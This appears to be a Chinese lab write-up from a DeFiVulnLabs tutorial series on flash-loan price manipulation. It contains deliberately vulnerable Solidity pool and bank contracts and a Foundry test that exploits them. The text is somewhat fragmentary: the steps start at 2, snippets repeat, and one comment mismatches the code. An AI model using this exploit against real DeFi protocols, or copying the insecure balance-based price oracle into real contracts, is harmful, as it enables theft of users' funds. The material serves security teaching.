漏洞解析:
这段代码展示了一个简单的 DeFi 场景,其中涉及价格操纵攻击。通过闪电贷借入大量代币,攻击者可以操纵池中的代币余额,从而影响价格计算。这种攻击利用了 SimplePool
合约中不安全的 getPrice
函数,该函数直接基于代币余额计算价格,容易受到操纵。
contract USDa is ERC20, Ownable {
constructor() ERC20("USDA", "USDA") {
_mint(msg.sender, 10000 * 10 ** decimals());
}
function mint(address to, uint256 amount) public onlyOwner {
_mint(to, amount);
}
}
contract USDb is ERC20, Ownable {
constructor() ERC20("USDB", "USDB") {
_mint(msg.sender, 10000 * 10 ** decimals());
}
function mint(address to, uint256 amount) public onlyOwner {
_mint(to, amount);
}
}
contract SimplePool {
IERC20 public USDaToken;
IERC20 public USDbToken;
constructor(address _USDa, address _USDb) {
USDaToken = IERC20(_USDa);
USDbToken = IERC20(_USDb);
}
function getPrice() public view returns (uint256) {
// Incorrect price calculation over balanceOf
// 错误的价格计算来自于balanceof
uint256 USDaAmount = USDaToken.balanceOf(address(this));
uint256 USDbAmount = USDbToken.balanceOf(address(this));
// Ensure USDbAmount is not zero to prevent division by zero
if (USDaAmount == 0) {
return 0;
}
// Calculate the price as the ratio of USDa to USDb
//usda的价格来源usdb的数量除以usda的数量
uint256 USDaPrice = (USDbAmount * (10 ** 18)) / USDaAmount;
return USDaPrice;
}
function flashLoan(
uint256 amount,
address borrower,
bytes calldata data
) public {
uint256 balanceBefore = USDaToken.balanceOf(address(this));
require(balanceBefore >= amount, "Not enough liquidity");
require(
USDaToken.transfer(borrower, amount),
"Flashloan transfer failed"
);
(bool success, ) = borrower.call(data);
require(success, "Flashloan callback failed");
uint256 balanceAfter = USDaToken.balanceOf(address(this));
require(balanceAfter >= balanceBefore, "Flashloan not repaid");
}
}
contract SimpleBank {
IERC20 public token; //USDA
SimplePool public pool;
IERC20 public payoutToken; //USDb
constructor(address _token, address _pool, address _payoutToken) {
token = IERC20(_token);
pool = SimplePool(_pool);
payoutToken = IERC20(_payoutToken);
}
function exchange(uint256 amount) public {
require(
token.transferFrom(msg.sender, address(this), amount),
"Transfer failed"
);
uint256 price = pool.getPrice();
require(price > 0, "Price cannot be zero");
uint256 tokensToReceive = (amount * price) / (10 ** 18);
require(
payoutToken.transfer(msg.sender, tokensToReceive),
"Payout transfer failed"
);
}
}
2、此时getPrice()返回虚高的价格(如1 USDA = 2 USDB)。
3、攻击者以高价兑换USDB,获利后归还贷款,价格恢复。
function testPrice_Manipulation()public{
USDbContract.transfer(address(SimpleBankContract), 9000 ether);
USDaContract.transfer(address(SimplePoolContract), 1000 ether);
USDbContract.transfer(address(SimplePoolContract), 1000 ether);
// Get the current price of USDa in terms of USDb (initially 1 USDa : 1 USDb)
SimplePoolContract.getPrice(); // 1 USDa : 1 USDb
console.log(
"There are 1000 USDa and USDb in the pool, so the price of USDa is 1 to 1 USDb."
);
emit log_named_decimal_uint(
"Current USDa convert rate",
SimplePoolContract.getPrice(),
18
);
console.log("Start price manipulation");
console.log("Borrow 500 USBa over floashloan");
// Let's manipulate the price since the getPrice is over the balanceOf.
// Use flashloan to borrow 500 USDa
SimplePoolContract.flashLoan(500 ether, address(this), "0x0");
}
fallback() external {
//flashlon callback
emit log_named_decimal_uint(
"Price manupulated, USDa convert rate",
SimplePoolContract.getPrice(),
18
); // 1 USDa : 2 USDb
USDaContract.approve(address(SimpleBankContract), 100 ether);
SimpleBankContract.exchange(100 ether);
// Repay the flashloan by transferring 500 USDb to SimplePoolContract
USDaContract.transfer(address(SimplePoolContract), 500 ether);
// Get the balance of USDb owned by us.
emit log_named_decimal_uint(
"Use 100 USDa to convert, My USDb balance",
USDbContract.balanceOf(address(this)),
18
);
}
receive() external payable {}
}
SimplePoolContract.getPrice(); // 1 USDa : 1 USDb
SimplePoolContract.flashLoan(500 ether, address(this), "0x0");
fallback() external {
//flashlon callback
emit log_named_decimal_uint(
"Price manupulated, USDa convert rate",
SimplePoolContract.getPrice(),
18
); // 1 USDa : 2 USDb
C:UsersxxxDesktopweb3-functionweb3safefoundry_nightly_win32_amd64forge.exe test --contracts ./srctestPrice_manipulation.sol -vvvv
原文始发于微信公众号(Ice ThirdSpace):DeFiVulnLabs靶场全系列详解(三十二)基于闪电贷的价格操纵漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论